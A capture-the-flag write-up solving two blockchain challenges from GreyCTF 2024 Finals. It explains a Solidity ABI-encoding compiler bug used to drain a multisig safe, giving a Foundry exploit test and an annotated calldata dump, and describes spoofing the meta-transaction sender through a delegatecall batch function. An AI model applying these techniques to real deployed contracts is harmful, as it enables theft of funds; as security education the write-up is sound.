GreyCTF 2024 Finals
GreyCTF 2024 Finals blockchain writeups
Intro
GreyCTF was hosted by NUS Greyhats on 28 July 2024. I participated with team youtiaos, achieving 4th.
I finally got to writing my writeups for the blockchain category.
All challenges and solve scripts are available here
Challenges
Gnosis Unsafe
In the setup contract, a safe is created with dead owners, and 10000 GREY tokens are minted to the safe. We need to drain the safe of its GREY tokens to solve.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { GREY } from "./lib/GREY.sol";
import { Safe } from "./Safe.sol";
contract Setup {
bool public claimed;
// GREY token
GREY public grey;
// Challenge contracts
Safe public safe;
constructor() {
// Deploy the GREY token contract
grey = new GREY();
// Deploy safe with dead owners
safe = new Safe([address(0x1337), address(0xdead), address(0xdeadbeef)]);
// Mint 10,000 GREY to the safe
grey.mint(address(safe), 10_000e18);
}
// Note: Call this function to claim 1000 GREY for the challenge
function claim() external {
require(!claimed, "already claimed");
claimed = true;
grey.mint(msg.sender, 1000e18);
}
// Note: Challenge is solved when the safe has been drained
function isSolved() external view returns (bool) {
return grey.balanceOf(address(safe)) == 0 && grey.balanceOf(msg.sender) >= 10_000e18;
}
}
The main logic of the safe contract lies in the queueTransaction and executeTransaction functions. It is obvious that the only way to steal the GREY tokens is via executeTransaction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
function queueTransaction(
uint8[OWNER_COUNT] calldata v,
bytes32[OWNER_COUNT] calldata r,
bytes32[OWNER_COUNT] calldata s,
Transaction calldata transaction
) external returns (bytes32 queueHash) {
if (!isOwner(transaction.signer)) revert SignerIsNotOwner();
queueHash = keccak256(abi.encode(
transaction,
v,
r,
s
));
queueHashToTimestamp[queueHash] = block.timestamp; -------- [1]
}
/**
* @notice Execute a queued transaction.
*
* @param v The v value of signatures from all owners.
* @param r The r value of signatures from all owners.
* @param s The s value of signatures from all owners.
* @param transaction The transaction to execute.
* @param signatureIndex The index of the signature to use.
* @return success Whether the executed transaction succeeded.
* @return returndata Return data from the executed transaction.
*/
function executeTransaction(
uint8[OWNER_COUNT] calldata v,
bytes32[OWNER_COUNT] calldata r,
bytes32[OWNER_COUNT] calldata s,
Transaction calldata transaction,
uint256 signatureIndex
) external payable returns (bool success, bytes memory returndata) {
if (signatureIndex >= OWNER_COUNT) revert InvalidIndex();
bytes32 queueHash = keccak256(abi.encode(
transaction,
v,
r,
s
));
uint256 queueTimestamp = queueHashToTimestamp[queueHash]; -------- [2]
if (queueTimestamp == 0) revert TransactionNotQueued();
if (block.timestamp < queueTimestamp + VETO_DURATION) revert StillInVetoPeriod();
bytes32 txHash = keccak256(abi.encode(transaction));
if (transactionExecuted[txHash]) revert TransactionAlreadyExecuted();
address signer = ecrecover(
txHash,
v[signatureIndex],
r[signatureIndex],
s[signatureIndex]
);
if (signer != transaction.signer) revert InvalidSignature();
transactionExecuted[txHash] = true;
(success, returndata) = transaction.to.call{ value: transaction.value }(transaction.data);
}
During the CTF, I somehow did not realise that there was actually a check for the queueHash at [2] which should match the transaction set at [1].
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function testAttk() public {
vm.startPrank(attacker);
uint8[3] memory v;
bytes32[3] memory r;
bytes32[3] memory s;
bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", attacker, 10_000e18);
ISafe.Transaction memory trans = ISafe.Transaction(address(0xdead), address(set.grey()), 0, data);
set.safe().queueTransaction(v, r, s, trans);
ISafe.Transaction memory trans2 = ISafe.Transaction(address(0), address(set.grey()), 0, data);
vm.warp(1000);
set.safe().executeTransaction(v,r,s,trans2,1);
set.isSolved();
}
In my testing, I simply queued a transaction that transfers GREY to the attacker in queueTransaction with the signer address(0xdead), and executeTransaction with the transaction.signer set to address(0) because I was too lazy to sign the transaction (since ecrecover returns 0 on an invalid signature), and the attack worked.
But this should not have worked since the queueHash in executeTransaction should not be the same as the queueHash in queueTransaction since the transaction.signer is different, and the call to executeTransaction should revert with TransactionNotQueued.
It was only after talking to the challenge creator that I understood that this was due to a compiler issue. This article on the solidity blog goes into the specific details which I highly recommend reading before coming back to this writeup.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function queueTransaction(
uint8[OWNER_COUNT] calldata v,
bytes32[OWNER_COUNT] calldata r,
bytes32[OWNER_COUNT] calldata s,
Transaction calldata transaction
) external returns (bytes32 queueHash) {
...
queueHash = keccak256(abi.encode(
transaction,
v,
r,
s
));
...
}
1
2
3
4
5
6
struct Transaction {
address signer;
address to;
uint256 value;
bytes data;
}
Applying the concepts to the task on hand, we see that the ABI encoding to obtain the queueHash fulfils the criteria for the bug to manifest.
- The last component is a statically-sized calldata array
bytes32[OWNER_COUNT] - The tuple contains one dynamic component (
transaction.data) - The compiler used is Solidity 0.8.15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000000000000000000000000000000000000000000000000000000000000140 -- offset of transaction
0000000000000000000000000000000000000000000000000000000000000000 -- v[0]
0000000000000000000000000000000000000000000000000000000000000000 -- v[1]
0000000000000000000000000000000000000000000000000000000000000000 -- v[2]
0000000000000000000000000000000000000000000000000000000000000000 -- r[0]
0000000000000000000000000000000000000000000000000000000000000000 -- r[1]
0000000000000000000000000000000000000000000000000000000000000000 -- r[2]
0000000000000000000000000000000000000000000000000000000000000000 -- s[0]
0000000000000000000000000000000000000000000000000000000000000000 -- s[1]
0000000000000000000000000000000000000000000000000000000000000000 -- s[2]
0000000000000000000000000000000000000000000000000000000000000000 -- transaction.signer (overwritten by s[2] cleanup)
0000000000000000000000004f9da333dcf4e5a53772791b95c161b2fc041859 -- transaction.to
0000000000000000000000000000000000000000000000000000000000000000 -- transaction.value
0000000000000000000000000000000000000000000000000000000000000080 -- offset of transaction.data
0000000000000000000000000000000000000000000000000000000000000044 -- transaction.data (length)
a9059cbb0000000000000000000000002b5ad5c4795c026514f8317c7a215e21 -- transaction.data
dccd6cf00000000000000000000000000000000000000000000021e19e0c9bab
240000000000000000000000000000000000000000000000000000000000000
Applying the concept mentioned in the article, we can see that the transaction.signer indeed gets overwritten due to the compiler bug, and thus the same queueHash is produced even though the transaction.signer varies.
Thus we are able to call executeTransaction with transaction.signer == address(0) to steal the GREY tokens.
Meta Staking
We are given a Relayer, Staking and Vault contracts. 10000 GREY tokens are staked by the setup contract, and we are supposed to steal the 10000 GREY tokens from the vault.
The Staking contract is interesting as it supports meta-transactions, which allows third parties to pay for gas for transactions that have been signed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
abstract contract RelayReceiver {
address public immutable relayer;
constructor(address _relayer) {
relayer = _relayer;
}
function _msgSender() internal view returns (address) {
if (msg.sender == relayer && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return msg.sender;
}
}
function _msgData() internal view returns (bytes calldata) {
if (msg.sender == relayer && msg.data.length >= 20) {
return msg.data[:msg.data.length - 20];
} else {
return msg.data;
}
}
}
The _msgSender() that is used in the Staking contract is obtained from the last 20 bytes of the msg.data, if the transaction is sent by the relayer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function _execute(TransactionRequest calldata request) internal returns (bool success) {
Transaction memory transaction = request.transaction;
Signature memory signature = request.signature;
bytes32 transactionHash = keccak256(abi.encode(transaction, nonce++));
address signer = ecrecover(transactionHash, signature.v, signature.r, signature.s);
require(signer != address(0), "ecrecover failed");
require(signer == transaction.from, "Wrong signer");
require(block.timestamp <= signature.deadline, "Signature expired");
uint256 g = transaction.gas;
address a = transaction.to;
uint256 v = transaction.value;
bytes memory d = abi.encodePacked(transaction.data, transaction.from); --- [1]
uint256 gasLeft;
assembly {
success := call(g, a, v, add(d, 0x20), mload(d), 0, 0)
gasLeft := gas()
}
require(gasLeft >= transaction.gas / 63, "Insufficient gas");
}
In the Relayer contract, at [1], indeed, the signer, which equals to the transaction.from is appended as the last 20 bytes of the calldata.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
contract Staking is Batch, RelayReceiver {
...
function unstake(uint256 amount) external {
balanceOf[_msgSender()] -= amount;
totalSupply -= amount;
vault.withdraw(_msgSender(), amount);
}
// ========================================= ERC20 FUNCTIONS ========================================
function approve(address spender, uint256 amount) external returns (bool) {
allowance[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return transferFrom(_msgSender(), to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
if (from != _msgSender()) allowance[from][_msgSender()] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}
Looking at the staking contract, and given that meta-transactions are implemented, it is likely that we have to steal the GREY tokens by somehow making _msgSender() return the setup contract’s address.
After spending quite some time looking through the Relayer, Staking and Vault contracts, I could not find any issues, until I realized that the Staking contract inherits Batch.
1
2
3
4
5
6
7
8
9
10
11
abstract contract Batch {
function batchExecute(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
bool success;
(success, results[i]) = address(this).delegatecall(data[i]);
require(success, "Multicall failed");
}
return results;
}
}
This function is problematic, since it breaks the assumption that msg.sender == relayer implies that the transaction’s signer is the last 20 bytes of calldata to Staking contract.
If a transaction is sent to the Relayer to call batchExecute, which calls Staking.transfer, the transaction signer is only appended to the call to batchExecute. However, we can fully control the calldata to Staking.transfer even though the msg.sender == relayer since the data is passed directly into a delegatecall. This means that we can append the address of the Setup contract to our Staking.transfer calldata to spoof the _msgSender() as the Setup contract, allowing us to steal the tokens.
Conclusion
Really fun and interesting challenges and I had a great time staying overnight for GreyCTF.
